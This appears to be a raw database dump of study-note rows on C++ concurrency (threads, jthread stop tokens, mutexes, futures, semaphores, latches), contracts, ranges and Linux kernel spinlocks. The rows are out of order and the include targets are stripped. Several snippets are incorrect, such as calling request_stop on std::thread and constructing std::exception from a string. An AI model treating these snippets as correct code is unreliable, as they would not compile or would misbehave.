std::ranges::copy(std::views::iota(4) | std::views::take(3), std::ostream_iterator(std::cout, " "));\n // 4 5 6\n} code txt 2024-07-28 09:50:25.450879 -1922 573 code txt 2024-07-28 09:50:29.447795 -1902 563 int main()\n{\n std::ranges::copy(std::views::istream(std::cin), std::ostream_iterator(std::cout, " "));\n // 1 2 3 4\n} code txt 2024-07-28 09:50:25.90447 -1903 564 int do_something(int input)\npre(input > 0),\npost(ret: ret < input)\n{\nreturn input - 1;\n} code txt 2024-07-28 09:50:26.277396 -1904 565 g++ -std=c++23 -O2 -fcontracts -fcontracts-nonattr code txt 2024-07-28 09:50:26.531872 -1905 566 The relationships between elements within a range cannot be directly stated. text txt 2024-07-28 09:50:26.74826 -1906 567 Narrow and wide contracts. text txt 2024-07-28 09:50:26.980541 -1907 568 A function that accepts any input has a wide contract. text txt 2024-07-28 09:50:27.701574 -1908 568 A function that is limited in its acceptable input has a narrow contract.\nNarrow contracts limits the possible values of a type. text txt 2024-07-28 09:50:27.72214 -1909 568 namespace std\n{\n template >\n class vector\n {\n public:\n T& operator[](size_type pos);\n // narrow: pos < size() text txt 2024-07-28 09:50:27.741413 -1910 568 T& at(size_type pos);\n // wide: throws if out of bound text txt 2024-07-28 09:50:27.760986 -1911 568 T& front();\n // narrow: 0 != empty() text txt 2024-07-28 09:50:27.782548 -1912 568 vector(vector&&);\n // wide\n };\n} // std code txt 2024-07-28 09:50:27.803241 -1913 569 * Throwing exceptions, returning errors are part of the contract. Values or\n* states that are out of contract are bugs and they are not something to\n handle. text txt 2024-07-28 09:50:28.055688 -1914 570 Calling a function that is out of contracts results in undefined behavior. text txt 2024-07-28 09:50:28.345186 -1916 571 This handler should be used for logging not handling a contract like nothing\nhappened. text txt 2024-07-28 09:50:28.737411 -1917 571 You cannot call this function by yourself. text txt 2024-07-28 09:50:28.758315 -1918 571 void ::handle_contract_violation(std::contracts::contract_violation const& cv); code txt 2024-07-28 09:50:28.779406 -1919 572 * enforce\n* observe\n* ignore text txt 2024-07-28 09:50:29.109956 -1921 573 The compiler will compile contracts, checks for their correctness, and when\neverything is checked all the contracts will be wiped from the code. text txt 2024-07-28 09:50:29.427889 -1923 574 When implementing contract for overriden functions, the contract cannot be\nwider than the contract already defined for the virtual function within base\nclass. text txt 2024-07-28 09:50:30.104241 -1924 574 class base\n{\npublic:\n virtual void do_something(int x)\n pre(x < 100)\n {\n }\n}; text txt 2024-07-28 09:50:30.124 -1925 574 class derived : public base\n{\npublic:\n virtual void do_something(int x)\n pre(x < 120)\n {\n }\n}; code txt 2024-07-28 09:50:30.144674 -1926 575 #include \n#include text txt 2024-07-28 09:50:30.729072 -1927 575 void do_something()\n{\n using namespace std::chrono_literals;\n std::this_thread::sleep_for(1s);\n} text txt 2024-07-28 09:50:30.751292 -1928 575 int main()\n{\n std::thread worker{do_something};\n worker.join();\n} code txt 2024-07-28 09:50:30.771576 -1929 576 #include text txt 2024-07-28 09:50:31.808004 -1930 576 void do_something() {}\nvoid do_something_else() {} text txt 2024-07-28 09:50:31.828728 -1931 576 struct background_task\n{\n void operator()()\n {\n do_something();\n do_something_else();\n }\n}; text txt 2024-07-28 09:50:31.848554 -1932 576 int main()\n{\n std::thread thread_f(do_something);\n thread_f.join(); text txt 2024-07-28 09:50:31.869761 -1933 576 background_task callable;\n std::thread thread_c(callable);\n thread_c.join(); text txt 2024-07-28 09:50:31.8899 -1934 576 // no to mistakenly call a thread like this:\n // std::thread thread_x(background_task());\n // which can be correctly expressed like:\n // std::thread thread_x((background_task()));\n // std::thread thread_x{background_task()}; text txt 2024-07-28 09:50:31.910166 -1935 576 std::thread thread_l([]{\n do_something();\n do_something_else();\n });\n thread_l.join();\n} code txt 2024-07-28 09:50:31.930517 -1936 577 The callable and arguments are copied into storage local to the new thread. text txt 2024-07-28 09:50:33.31016 -1937 577 This helps avoid dangling references and race conditions. text txt 2024-07-28 09:50:33.330353 -1938 577 Use `std::ref()` when you really want a reference, or use a lambda as the\ncallable. text txt 2024-07-28 09:50:33.350863 -1939 577 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:33.370528 -1940 577 void rvalue_write(std::string&&) { } // rvalue only\nvoid lvalue_write(std::string&) { } // lvalue only\nvoid pointer_write(std::string_view) { } // pointer only\nvoid smart_write(std::unique_ptr) { } // non-copyable object only text txt 2024-07-28 09:50:33.391016 -1941 577 struct X\n{\n void do_lengthy_work(std::string&) {}\n}; text txt 2024-07-28 09:50:33.411693 -1942 577 int main()\n{\n // implicit cast from const char* to std::string\n std::thread write_thread(rvalue_write, "text");\n write_thread.join(); text txt 2024-07-28 09:50:33.43325 -1943 577 char text[1024];\n sprintf(text, "%i", 1); text txt 2024-07-28 09:50:33.454413 -1944 577 // use of local object in joinable thread\n std::thread pointer_thread(pointer_write, text);\n pointer_thread.join(); text txt 2024-07-28 09:50:33.476001 -1945 577 // use of copied local object before background thread invokation\n std::thread local_thread(rvalue_write, std::string{text});\n local_thread.detach(); text txt 2024-07-28 09:50:33.496318 -1946 577 // pass by lvalue reference to avoid copy\n std::string str{text};\n std::thread ref_thread(lvalue_write, std::ref(str));\n ref_thread.join(); text txt 2024-07-28 09:50:33.517113 -1947 577 // bind method to thread\n X some_work;\n std::thread binding_thread(&X::do_lengthy_work, &some_work, std::ref(str));\n binding_thread.join(); text txt 2024-07-28 09:50:33.538605 -1948 577 // explicitly move non-copyable objects\n std::unique_ptr non_copyable{new std::string{str}};\n std::thread smart_thread(smart_write, std::move(non_copyable));\n smart_thread.join();\n} code txt 2024-07-28 09:50:33.560452 -1949 578 #include \n#include text txt 2024-07-28 09:50:34.086054 -1950 578 void do_something()\n{\n std::this_thread::sleep_for(std::chrono::seconds{1});\n} text txt 2024-07-28 09:50:34.106911 -1951 578 int main()\n{\n std::jthread t0{do_something};\n} code txt 2024-07-28 09:50:34.127938 -1952 579 For `std::thread`, the `joinable()` member function is checked first. If the\nthread is still joinable program will be terminated by calling\n`std::abort()`. All threads need to be joined before the destructor gets\ncalled, unless they are detached. text txt 2024-07-28 09:50:34.689298 -1953 579 For `std::jthread`, the `std::stop_source` member will be used to request a\nstop. Then, the thread will be joined. text txt 2024-07-28 09:50:34.71035 -1954 579 #include text txt 2024-07-28 09:50:34.730526 -1955 579 int main()\n{\n std::jthread worker{[]{ return; }};\n // destructor requests stop and joins\n} code txt 2024-07-28 09:50:34.751677 -1956 580 #include \n#include text txt 2024-07-28 09:50:35.477039 -1960 580 t.join();\n} code txt 2024-07-28 09:50:35.559905 -1957 580 void do_something() { }\nvoid do_something_impossible() { throw std::runtime_error("fatal"); } text txt 2024-07-28 09:50:35.498467 -1958 580 int main()\n{\n std::thread t(do_something); text txt 2024-07-28 09:50:35.518585 -1959 580 try\n {\n do_something_impossible();\n }\n catch (std::exception const& exp)\n {\n t.join(); // reaches due exceptional exit but joins anyway\n throw;\n } text txt 2024-07-28 09:50:35.539717 -1961 581 #include text txt 2024-07-28 09:50:36.241763 -1962 581 void do_something() { } text txt 2024-07-28 09:50:36.262015 -1963 581 class thread_guard\n{\n std::thread& _t; text txt 2024-07-28 09:50:36.282167 -1964 581 public:\n explicit thread_guard(std::thread& t): _t{t} {}\n virtual ~thread_guard() { if (_t.joinable()) _t.join(); }\n thread_guard(thread_guard const&) = delete;\n thread_guard& operator =(thread_guard const&) = delete;\n}; text txt 2024-07-28 09:50:36.303232 -1965 581 int main()\n{\n std::thread t(do_something);\n thread_guard joining_thread{t};\n} code txt 2024-07-28 09:50:36.323947 -1966 582 #include \n#include text txt 2024-07-28 09:50:36.818156 -1967 582 void do_background_work() { } text txt 2024-07-28 09:50:36.837225 -1968 582 int main()\n{\n std::thread task{do_background_work};\n task.detach();\n assert(!task.joinable());\n} code txt 2024-07-28 09:50:36.857842 -1969 583 #include text txt 2024-07-28 09:50:37.472843 -1970 583 void do_work() { } text txt 2024-07-28 09:50:37.494043 -1971 583 int main()\n{\n std::thread t1{do_work}; // t1 joinable\n std::thread t2{std::move(t1)}; // t1 empty, t2 joinable\n t1 = std::thread{do_work}; // t1 joinable\n std::thread t3 = std::move(t2); // t3 joinable, t2 empty\n t2 = std::move(t1); // t2 joinable, t1 empty text txt 2024-07-28 09:50:37.51463 -1972 583 // t1 is already empty\n t2.join();\n t3.join();\n} code txt 2024-07-28 09:50:37.535643 -1973 584 Operating systems provide us with horrible killing mechanisms of stopping a\nthread, but that prevents us from cleaning up. text txt 2024-07-28 09:50:37.800748 -1974 585 - Create a `std::stop_source`\n- Obtain a `std::stop_token` from the `std::stop_source`\n- Pass the `std::stop_token` to a new thread or task\n- When you want the operation to stop call `source.request_stop()`\n- Periodically call `token.stop_requested()` to check text txt 2024-07-28 09:50:38.955902 -1975 585 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:38.975445 -1976 585 bool state{false}; text txt 2024-07-28 09:50:38.995189 -1977 585 bool preconditions_apply()\n{\n return state;\n} text txt 2024-07-28 09:50:39.01528 -1978 585 void do_something(std::stop_token caller)\n{\n while (!caller.stop_requested())\n {\n /* process something */\n }\n std::cerr << std::format("{}\\\\n", "Halting worker");\n} text txt 2024-07-28 09:50:39.036072 -1979 585 void thread_controller(std::stop_source source)\n{\n while (preconditions_apply())\n {\n std::this_thread::sleep_for(std::chrono::milliseconds{100});\n }\n source.request_stop();\n} text txt 2024-07-28 09:50:39.056881 -1980 585 int main()\n{\n state = true; // preconditions apply\n std::stop_source source_controller;\n std::jthread worker{do_something, source_controller.get_token()};\n std::jthread controller{thread_controller, std::ref(source_controller)};\n std::this_thread::sleep_for(std::chrono::milliseconds{1000});\n state = false; // break the contract\n} code txt 2024-07-28 09:50:39.078222 -1981 586 std::jthread x{[]{}};\nx.get_stop_source(); code txt 2024-07-28 09:50:39.3512 -1982 587 #include \n#include text txt 2024-07-28 09:50:39.942084 -1983 587 int main()\n{\n std::jthread t{[](std::stop_token token) {\n while (token.stop_requested())\n break;\n std::this_thread::sleep_for(std::chrono::milliseconds(100));\n }}; text txt 2024-07-28 09:50:39.962618 -1984 587 std::this_thread::sleep_for(std::chrono::milliseconds(500));\n t.request_stop();\n} code txt 2024-07-28 09:50:39.983844 -1985 588 Callee function can optionally accept a `std::stop_token`. For backward\ncompatibility with existing code, functions without `std::stop_token`\nargument will be called regularly as with `std::thread`. text txt 2024-07-28 09:50:40.528176 -1986 588 #include text txt 2024-07-28 09:50:40.548334 -1987 588 int main()\n{\n std::stop_source caller_source;\n auto callable = [](std::stop_token caller) { while (!caller.stop_requested()); };\n std::jthread stoppable_thread{callable, caller_source.get_token()};\n std::jthread regular_thread{[]{ return; }};\n caller_source.request_stop();\n} code txt 2024-07-28 09:50:40.570519 -1988 589 std::jthread x{[]{}};\nx.get_stop_token(); code txt 2024-07-28 09:50:40.845813 -1989 590 std::thread x{[]{}};\nx.request_stop();\n// ^ equivalent v\nx.get_stop_source().request_stop(); code txt 2024-07-28 09:50:41.16784 -1990 591 `std::stop_callback{std::stop_token, Args... args}` class template can be\nused to trigger a cancellation function when stop requested on a thread. text txt 2024-07-28 09:50:42.147758 -1991 591 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:42.168628 -1992 591 int main(int argc, char** argv)\n{\n std::stop_source worker_controller{}; text txt 2024-07-28 09:50:42.190705 -1993 591 std::jthread worker{\n [](std::stop_token const& caller_token, std::filesystem::path file_path)\n {\n bool readable{};\n std::ifstream file_stream{file_path}; text txt 2024-07-28 09:50:42.211163 -1994 591 if (file_stream.is_open())\n readable = true; text txt 2024-07-28 09:50:42.231289 -1995 591 std::stop_callback close_stream{caller_token, [&]{ readable = false; }};\n while (readable)\n {\n /* do something with the file */\n } text txt 2024-07-28 09:50:42.251976 -1996 591 file_stream.close();\n }, worker_controller.get_token(), argv[0]\n }; text txt 2024-07-28 09:50:42.272394 -1997 591 worker.detach();\n std::this_thread::sleep_for(std::chrono::seconds{5});\n worker_controller.request_stop();\n std::this_thread::sleep_for(std::chrono::seconds{5});\n} code txt 2024-07-28 09:50:42.294278 -1998 592 #include \n#include text txt 2024-07-28 09:50:42.9318 -2000 592 int main()\n{\n unsigned int const min_threads = 2;\n unsigned int const hw_threads = std::thread::hardware_concurrency();\n unsigned int const num_threads = hw_threads ? hw_threads : min_threads; text txt 2024-07-28 09:50:42.975243 -2001 592 std::vector threads(num_threads-1); // count main thread as well text txt 2024-07-28 09:50:42.996165 -2002 592 for (std::thread& t: threads)\n t = std::thread{task}; text txt 2024-07-28 09:50:43.016912 -2003 592 for (std::thread& t: threads)\n t.join();\n} code txt 2024-07-28 09:50:43.037869 -2004 593 #include \n#include text txt 2024-07-28 09:50:43.439157 -2005 593 int main()\n{\n std::thread::id main_thread_id = std::this_thread::get_id();\n std::cout << main_thread_id << std::endl;\n} code txt 2024-07-28 09:50:43.460878 -2006 594 - Thread construction point\n- Thread joining point text txt 2024-07-28 09:50:43.776268 -2030 602 code txt 2024-07-28 09:50:48.612956 -2032 603 code txt 2024-07-28 09:50:48.986722 -2036 604 m.lock(); code txt 2024-07-28 09:50:49.610654 -2008 595 - `std::atomic`\n- `std::mutex`\n- `std::future` and `std::promise`\n- `std::condition_variable`\n- `std::semaphore` (C++20)\n- `std::latch` (C++20)\n- `std::barrier` (C++20) text txt 2024-07-28 09:50:44.126782 -2009 596 #include \n#include \n#include text txt 2024-07-28 09:50:44.743955 -2010 596 std::mutex exclusive{}; text txt 2024-07-28 09:50:44.764489 -2011 596 int main()\n{\n exclusive.lock();\n std::thread t{[&]() {\n exclusive.lock();\n exclusive.unlock();\n std::puts("do this task later");\n }};\n std::puts("do this task first");\n exclusive.unlock();\n t.join();\n} code txt 2024-07-28 09:50:44.784746 -2012 597 - `void lock()`: blocks until the lock is acquired\n- `bool try_lock()`: returns immediately; `true` if lock acquired, `false` if not\n- `void unlock()`: release the lock; undefined behavior if current thread doesn't own the lock text txt 2024-07-28 09:50:45.101204 -2014 598 When exceptions thrown after a mutex is locked, that mutex will remain\nlocked. To avoid that, we use `std::lock_guard<>` class template to\nautomatically lock and unlock the mutex. text txt 2024-07-28 09:50:45.820747 -2015 598 #include \n#include \n#include text txt 2024-07-28 09:50:45.840578 -2016 598 std::mutex exclusive{}; text txt 2024-07-28 09:50:45.860709 -2017 598 int main()\n{\n exclusive.lock();\n std::thread t{[&](){\n std::lock_guard guard{exclusive};\n std::puts("do this later");\n }};\n std::puts("do this first");\n exclusive.unlock();\n t.join();\n} code txt 2024-07-28 09:50:45.881767 -2018 599 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:46.895611 -2019 599 template\nclass some_task\n{\npublic:\n some_task(std::initializer_list range): tokens{range} {}\n void append(some_task const& other) noexcept\n {\n std::scoped_lock guard{exclusive, other.exclusive};\n tokens.insert(tokens.end(), other.tokens.begin(), other.tokens.end());\n }\n std::size_t size() const noexcept\n {\n std::lock_guard guard{exclusive};\n return tokens.size();\n } text txt 2024-07-28 09:50:46.917251 -2020 599 private:\n std::vector tokens;\n std::mutex exclusive;\n}; text txt 2024-07-28 09:50:46.938719 -2021 599 template\nvoid merge_tasks(some_task& a, some_task& b)\n{\n a.append(b);\n} text txt 2024-07-28 09:50:46.958264 -2022 599 int main()\n{\n some_task A{1,2,3,4}, B{5,6,7,8};\n std::thread t1{&some_task::size, A};\n std::thread t2{merge_tasks, A, B};\n} code txt 2024-07-28 09:50:46.978985 -2023 600 Almost whenever possible, use `std::scoped_lock` instead of `std::lock_guard`\nwhen C++17 can be used. `std::scoped_lock` takes multiple mutexes and handles\nthe proper locking sequence to avoid deadlock. text txt 2024-07-28 09:50:47.299796 -2025 601 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:50:48.205381 -2026 601 class some_task\n{\npublic:\n void set(std::string key, std::string value)\n {\n std::unique_lock guard(shared_exclusive);\n config.insert_or_assign(key, value);\n }\n std::string get(std::string const& key) const\n {\n std::shared_lock guard(shared_exclusive);\n return config.at(key);\n }\nprivate:\n std::map config;\n mutable std::shared_mutex shared_exclusive;\n}; text txt 2024-07-28 09:50:48.226932 -2027 601 int main()\n{\n some_task task;\n std::thread t1{&some_task::set, &task, "pgdata", "/opt/pgroot/data"};\n t1.join();\n std::string storage_path = task.get("pgdata");\n} code txt 2024-07-28 09:50:48.249099 -2028 602 Constructor takes one shared mutex and calls `lock_shared()` on the mutex. text txt 2024-07-28 09:50:48.572279 -2029 602 The API of shared lock is similar to unique lock. text txt 2024-07-28 09:50:48.592023 -2031 603 - `try_lock_for(duration)`\n- `try_lock_until(time_point)`\n- `try_lock_shared_for(duration)`\n- `try_lock_shared_until(time_point)` text txt 2024-07-28 09:50:48.96617 -2033 604 Recursive mutexes can be used when a function requires locking multiple\ntimes. text txt 2024-07-28 09:50:49.550763 -2034 604 Number of `lock()` calls must match exactly the number of `unlock()` calls. text txt 2024-07-28 09:50:49.571358 -2035 604 Only one thread can have exclusive ownership, or write access: text txt 2024-07-28 09:50:49.591151 -2037 604 Many threads can get shared ownership, or read access: text txt 2024-07-28 09:50:49.630764 -2038 604 m.lock_shared(); code txt 2024-07-28 09:50:49.6513 -2039 604 Calls to `lock_shared()` from other threads will succeed; calls to `lock()`\nwill block. text txt 2024-07-28 09:50:49.671883 -2040 605 Conditional variables are complicated to use correctly. text txt 2024-07-28 09:50:50.021324 -2041 605 Useful when some threads are waiting for a condition and other threads make\nthat condition true. text txt 2024-07-28 09:50:50.041465 -3044 1000 */etc/udev/rules.d/70-persistent-ipoib.rules*\nSUBSYSTEM="net", ACTION="add", DRIVERS="?*", ATTR{address}="" ATTR{type}="1", KERNEL="enp33", NAME="eth0" code txt 2024-07-28 09:53:53.142202 -3048 1001 1. **Locks**: Used for mutual exclusion. When one contender holds the lock,\n no other can hold it (others are excluded). The most known locks in the\n kernel are **spinlocks** and **mutexes**. text txt 2024-07-28 09:53:53.983219 -3051 1001 2. **Conditional variables**: For waiting for a change. These are implemented\n differently in the kernel as **wait queues** and **completion queues**. text txt 2024-07-28 09:53:54.045878 -3054 1001 * **Wait queue**: To wait for a change — designed to work in concert with\n locks.\n* **Completion queue**: To wait for the completion of a given computation,\n mostly used with DMAs. text txt 2024-07-28 09:53:54.108336 -3057 1002 This spinning will only happen on multi-core machines because, on a\nsingle-core machine, it cannot happen. text txt 2024-07-28 09:53:54.662686 -3060 1003 This also means that a task currently running on that CPU cannot be preempted\nexcept by **interrupt requests (IRQs)** if they are not disabled on the local\nCPU. In other words, spinlocks protect resources that only one CPU can\ntake/access at a time. text txt 2024-07-28 09:53:55.100014 -3063 1004 static DEFINE_SPINLOCK(my_spinlock); code txt 2024-07-28 09:53:55.954014 -3067 1005 We can lock/unlock the spinlock using `spin_lock()` and `spin_unlock()`\ninline functions, both defined in `include/linux/spinlock.h`: text txt 2024-07-28 09:53:56.401562 -3070 1006 Imagine a situation where the CPU holds a *"spinlock"* on behalf of task A in\norder to protect a given resource, and an interrupt occurs. The CPU will stop\nits current task and branch to this interrupt handler. Now, imagine if this\nIRQ handler needs to acquire this same spinlock. It will infinitely spin in\nplace, trying to acquire a lock already locked by a task that it has\npreempted which results in a deadlock. text txt 2024-07-28 09:53:56.857488 -3075 1009 spin_lock_irqsave(spinlock_t *lock, unsigned long flags)\nspin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) code txt 2024-07-28 09:53:58.34463 -3078 1011 Both spinlock and mutex APIs provide a trylock method. These are,\nrespectively, `spin_trylock()` and `mutex_trylock()` text txt 2024-07-28 09:53:59.801527 -3080 1011 int mutex_trylock(struct mutex *lock) code txt 2024-07-28 09:53:59.842922 -3082 1011 static DEFINE_SPINLOCK(foo_lock); text txt 2024-07-28 09:53:59.884334 -3146 1033 `__init`: text txt 2024-07-28 09:54:10.663381 -2042 605 code txt 2024-07-28 09:50:50.061002 -2043 606 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:51.168122 -2044 606 template\nclass bag\n{\npublic:\n void append(T value)\n {\n std::unique_lock guard{exclusive};\n container.push_back(std::move(value));\n guard.unlock();\n condition.notify_one();\n } text txt 2024-07-28 09:50:51.190725 -2045 606 T get() const\n {\n std::unique_lock guard{exclusive};\n while (container.empty())\n condition.wait(guard);\n T value = std::move(container.back());\n return value;\n } text txt 2024-07-28 09:50:51.211368 -2046 606 private:\n mutable std::mutex exclusive;\n mutable std::condition_variable condition;\n std::vector container;\n}; text txt 2024-07-28 09:50:51.232931 -2047 606 int main()\n{\n bag numbers{};\n numbers.append(42);\n long n = numbers.get(); // 42\n} code txt 2024-07-28 09:50:51.255835 -2048 607 Primitive types. text txt 2024-07-28 09:50:51.5562 -2049 608 Without atomic type, we need to use a locking mechanism like mutual\nexclusions to avoid data races on the shared value. But using atomic types,\nthey are guaranteed to be accessed only by one thread at a time. text txt 2024-07-28 09:50:52.250491 -2050 608 #include \n#include text txt 2024-07-28 09:50:52.270775 -2051 608 std::atomic shared_value{}; text txt 2024-07-28 09:50:52.290316 -2052 608 void increment_shared()\n{\n shared_value++;\n} text txt 2024-07-28 09:50:52.312308 -2053 608 int main()\n{\n std::thread t1{increment_shared};\n std::thread t2{increment_shared};\n t1.join();\n t2.join();\n} code txt 2024-07-28 09:50:52.333734 -2054 609 `static` local variables are guaranteed to only initialize once. text txt 2024-07-28 09:50:52.628485 -2055 609 code txt 2024-07-28 09:50:52.650665 -2056 610 The first thread to arrive will start initializing the static instance. text txt 2024-07-28 09:50:53.931497 -2057 610 #include \n#include text txt 2024-07-28 09:50:53.952621 -2058 610 template\nT do_something(T initial = {})\n{\n static T instance{std::move(initial)};\n return instance;\n} text txt 2024-07-28 09:50:53.972463 -2059 610 template\nclass box\n{\npublic:\n explicit box(T initial = {}): value{std::move(initial)} {}\n box(box const& other): value{other.value} {}\n box& operator=(box const& other) { value = other.value; return *this; }\n static inline box& get_instance(T initial = {})\n {\n static box instance{std::move(initial)};\n std::cout << "initializing\\\\n";\n return instance;\n }\n T value;\n}; text txt 2024-07-28 09:50:53.993612 -2060 610 template\nvoid initialize(box& instance)\n{\n instance = box::get_instance(73);\n} text txt 2024-07-28 09:50:54.015768 -2061 610 int main()\n{\n long fvalue = do_something(42);\n box instance;\n std::thread t1{initialize, std::ref(instance)};\n std::thread t2{initialize, std::ref(instance)};\n t1.join();\n t2.join();\n std::cout << instance.value << std::endl;\n} code txt 2024-07-28 09:50:54.036089 -2062 611 #include \n#include \n#include text txt 2024-07-28 09:50:55.036934 -2063 611 template\nclass some_task\n{\npublic:\n void initialize(T init = {}) { std::call_once(execution, [&]{ value = std::move(init); }); }\n std::optional get() const { return value; }\nprivate:\n std::once_flag execution;\n std::optional value;\n}; text txt 2024-07-28 09:50:55.05951 -2064 611 template\nvoid initialize(some_task& task, T value)\n{\n task.initialize(std::move(value));\n} text txt 2024-07-28 09:50:55.084128 -2065 611 int main()\n{\n some_task number;\n std::thread t1{initialize, std::ref(number), 42};\n std::thread t2{initialize, std::ref(number), 73};\n t1.join();\n t2.join();\n long value = *number.get(); // either 42 or 73 without data race\n} code txt 2024-07-28 09:50:55.108112 -2066 612 Future provides a mechanism for a one-shot transfer of data between threads. text txt 2024-07-28 09:50:55.630074 -2067 612 |Method|Description|\n|---|---|\n|`std::future`|Default constructor creates an empty object with no state|\n|`valid()`|Check if the future has state|\n|`get()`|Wait for the data and retrieve it|\n|`wait()`|Wait for the data to be ready|\n|`std::future_status status = wait_for(duration)`|Wait for the data to be ready for the specified duration|\n|`std::future_status status = wait_until(time_point)`|Wait for the data to be ready until the specified time| text txt 2024-07-28 09:50:55.652044 -2068 612 code txt 2024-07-28 09:50:55.674756 -2069 613 If you require simple one-shot signalling between threads, the `void`\nspecializations of `std::future` and `std::shared_future` can serve as solid\nhigh-level choices for 1:1 and 1:N signalling. text txt 2024-07-28 09:50:56.835654 -2070 613 #include \n#include text txt 2024-07-28 09:50:56.856654 -2071 613 // executes first stage eagerly, but wait for signal to continue the second stage\nauto wait_for_signal = [](auto future) {\n // first stage\n future.wait(); // wait for signal\n // second stage\n}; text txt 2024-07-28 09:50:56.877141 -2072 613 { // 1:1 example\n std::promise sender; text txt 2024-07-28 09:50:56.898548 -2073 613 auto t = std::jthread(wait_for_signal, sender.get_future()); text txt 2024-07-28 09:50:56.920795 -2074 613 // first stage eagerly executing\n sender.set_value(); // unblock the second stage by sending a signal\n} text txt 2024-07-28 09:50:56.94226 -2075 613 { // 1:N example\n std::promise sender; text txt 2024-07-28 09:50:56.962631 -2076 613 // promise::get_future() can only be called once\n std::shared_future receiver(sender.get_future()); text txt 2024-07-28 09:50:56.984188 -2077 613 // start four threads, each running two-stage runner\n std::vector runners; text txt 2024-07-28 09:50:57.004169 -2078 613 // eagerly execute first stage for all four threads\n std::generate_n(std::back_inserter(runners), 4, [&]{ return std::jthread(wait_for_signal, receiver); }); text txt 2024-07-28 09:50:57.024617 -2079 613 sender.set_value(); // unblock the second stage by sending a signal\n} code txt 2024-07-28 09:50:57.045993 -2080 614 Launches a task that returns a value. text txt 2024-07-28 09:50:57.396582 -2081 614 code txt 2024-07-28 09:50:57.416557 -2082 615 |Method|Description|\n|---|---|\n|`std::promise`|Default constructor creates an object with an empty state|\n|`valid()`|Check if the promise has state|\n|`set_value()`|Set the value in the state|\n|`set_exception(exception_pointer)`|Set the exception in state|\n|`get_future()`|Get the `std::future` for the state| text txt 2024-07-28 09:50:57.895732 -2083 615 code txt 2024-07-28 09:50:57.915248 -2084 616 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:58.487448 -2085 616 int main()\n{\n std::promise value_source;\n std::future value_target{value_source.get_future()}; text txt 2024-07-28 09:50:58.507626 -2086 616 std::jthread provider{[&value_target]{\n std::cout << std::format("{}\\\\n", value_target.get());\n }}; text txt 2024-07-28 09:50:58.524933 -2087 616 std::jthread consumer{[&value_source]{\n value_source.set_value(42);\n }};\n} code txt 2024-07-28 09:50:58.54219 -3148 1033 `__exit`: text txt 2024-07-28 09:54:10.705797 -2088 617 std::promise value_source;\nstd::future value_target{value_source.get_future()}; text txt 2024-07-28 09:50:59.049738 -2089 617 std::jthread provider{[&value_target]{\nstd::cout << std::format("{}\\\\n", value_target.get());\n// throws exception\n}}; text txt 2024-07-28 09:50:59.070896 -2090 617 std::jthread consumer{[&value_source]{\nvalue_source.set_exception(\nstd::make_exception_ptr(std::exception{"reason"})\n)\n}}; code txt 2024-07-28 09:50:59.088477 -2091 619 A mutex must be locked and unlocked in the same thread. But a semaphore can\nbe acquired in one thread, and released in another.\nstd::ptrdiff_t least_max_value = std::counting_semaphore::max(); code txt 2024-07-28 09:50:59.608566 -2092 620 Counting semaphore is much more flexible than mutexes. text txt 2024-07-28 09:50:59.950477 -2093 620 Maintains an internal counter. `release()` increments the counter, and\n`acquire()` decrements the counter, or block if `counter = 0`. text txt 2024-07-28 09:50:59.968567 -2094 620 code txt 2024-07-28 09:50:59.98955 -2095 621 |Method|\n|---|\n|`std::counting_semaphore::max()`|\n|`release(std::ptrdiff_t update = 1)`|\n|`acquire()`|\n|`try_acquire()`|\n|`try_acquire_for(duration)`|\n|`try_acquire_until(timepoint)`| text txt 2024-07-28 09:51:00.334801 -2096 622 In this sample, the counting semaphore is initialized with 0. Because of this\ninitialization, the `secondary_initialization()` method cannot acquire semaphore,\ntherefore the thread blocks. On the other hand, the `primary_initialization()` method\nreleases the semaphore, therefore its counter is incremented and the\n`secondary_initialization()` method continues to run. text txt 2024-07-28 09:51:01.726413 -2097 622 #include \n#include \n#include \n#include text txt 2024-07-28 09:51:01.747122 -2098 622 template\nclass data_structure\n{\nprivate:\n std::vector underlying_container;\n std::counting_semaphore<1> underlying_synchronization; text txt 2024-07-28 09:51:01.769589 -2099 622 public:\n data_structure():\n underlying_container{},\n underlying_synchronization{0}\n {\n } text txt 2024-07-28 09:51:01.78894 -2100 622 void prepare()\n {\n std::jthread t0{&data_structure::secondary_initialization, this};\n std::jthread t1{&data_structure::primary_initialization, this};\n } text txt 2024-07-28 09:51:01.809004 -2101 622 std::vector get() const { return underlying_container; } text txt 2024-07-28 09:51:01.827703 -2102 622 private:\n void secondary_initialization()\n {\n underlying_synchronization.acquire();\n underlying_container[1] = 2;\n } text txt 2024-07-28 09:51:01.848333 -2103 622 void primary_initialization()\n {\n underlying_container = {1, 0, 3};\n underlying_synchronization.release();\n }\n}; text txt 2024-07-28 09:51:01.868728 -2104 622 int main()\n{\n data_structure data{};\n data.prepare();\n for (auto element: data.get())\n std::cout << element << " ";\n std::cout << "\\\\n";\n} code txt 2024-07-28 09:51:01.889626 -2105 623 #include \n#include \n#include text txt 2024-07-28 09:51:02.616949 -2106 623 std::binary_semaphore signal_main2thread{0}, signal_thread2main{0}; text txt 2024-07-28 09:51:02.63814 -2107 623 void thread_task()\n{\n signal_main2thread.acquire();\n std::this_thread::sleep_for(std::chrono::seconds{1});\n signal_thread2main.release();\n} text txt 2024-07-28 09:51:02.657348 -2108 623 int main()\n{\n std::jthread thread_worker{thread_task};\n signal_main2thread.release();\n signal_thread2main.acquire();\n} code txt 2024-07-28 09:51:02.678888 -2109 624 `std::latch` is a single-use counter that allows threads to wait for the\ncounter to reach zero. text txt 2024-07-28 09:51:03.024535 -2110 624 `std::latch` is useful for managing one task leveraged by multiple threads. text txt 2024-07-28 09:51:03.045269 -2111 625 A thread waits at a synchronization point until the internal counter becomes\nzero. So latches are almost opposites of the semaphore in counting. text txt 2024-07-28 09:51:03.4522 -2112 625 - Create the latch with a **non-zero** counter\n- One or more threads decrease the count\n- Other threads may wait for the latch to be signalled\n- When the count reaches zero it is permanently signalled and all waiting\n threads are woken. text txt 2024-07-28 09:51:03.472909 -2113 626 |Method|Description|\n|---|---|\n|`std::latch{std::ptrdiff_t count}`|Create a latch with the specified count|\n|`count_down(std::ptrdiff_t update = 1)`|Decrements internal counter `update` times without blocking the caller|\n|`try_wait()`|Returns `true` if internal counter 